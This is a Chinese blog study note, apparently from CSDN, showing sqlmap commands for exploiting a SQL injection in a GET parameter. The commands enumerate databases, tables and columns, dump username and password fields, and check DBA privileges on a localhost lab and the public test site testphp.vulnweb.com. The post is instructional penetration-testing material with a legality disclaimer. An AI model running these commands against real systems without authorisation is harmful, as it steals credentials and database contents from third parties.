046 sqlmap-get

本文仅作为技术文档记录,学习使用,请合法合规,严格遵守《中华人民共和国网络安全法》。一切未经授权的渗透测试行为都是违法违规的。

首先通过sql注入拿到后台数据 基本上就要用到下面的语句

首先知道注入点地址为 http://localhost/new.php?id=1(自己搭建的)

python .\sqlmap.py -u "http://localhost/new.php?id=2" --current-db 
python .\sqlmap.py -u "http://localhost/new.php?id=2" --tables -D "demo01" 
python .\sqlmap.py -u "http://localhost/new.php?id=2" --columns -T "admin" -D "demo01"
python .\sqlmap.py -u "http://localhost/new.php?id=2" --dump -C "password,username,id" -T "admin" -D "demo01" 
python .\sqlmap.py -u "http://localhost/new.php?id=2" --current-db 看当前表发现是demo01
python .\sqlmap.py -u "http://localhost/new.php?id=2" --tables -D "demo01"
发现admin表 
python .\sqlmap.py -u "http://localhost/new.php?id=2" --columns -T "admin" -D "demo01"
获取到admin表信息 接下来需要猜解数据即可
python .\sqlmap.py -u "http://localhost/new.php?id=2" --dump -C "password,username,id" -T "admin" -D "demo01" 拿到数据
 

 测试:http://vulnweb.com/

此次用到的数据猜解语句

--current-db

--tables -D ""

--columns -T "" -D ""

--dump -C "" -C "" -T ""

--is-dba

注入点靶场地址http://testphp.vulnweb.com/artists.php?artist=1

使用语句 python .\sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --tables

这里检测到“artist”参数可能存在SQL注入漏洞,并且建议后端数据库管理系统(DBMS)是MySQL

找到表acuart数据库 继续操作(获取 acuart数据库中 users表中的信息)

python .\sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --columns -T "users" --tables -D "acuart"                     发现了name 和pass,然后获取name和pass中的内容

python .\sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --dump -C "name,pass" --columns -T "users" --tables -D "acuart"

成功获得数据

--is-dba判断是不是高级权限

查看是否是管理员(dba:false)也就是普通用户权限

python .\sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --is-dba

但这个其实也不准,接下来我们再试试--current-user

emmmm不知道奥哈哈 反正不是root也不能确定。。。。

开始新的项目本地搭建的一个网站 http://localhost/new.php?id=1

python .\sqlmap.py -u "http://localhost/new.php?id=1" --is-dba先看看是不是数据库管理员

这里DBA显示的false也就是不是,但实际上应该是的 我们换个语句试试

python .\sqlmap.py -u "http://localhost/new.php?id=1" --privileges查看一下权限

权限都是有的,莫非我们不是root? 我们查看一下当前用户呢

python .\sqlmap.py -u "http://localhost/new.php?id=1" -current-user

我们是root。。。。。

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值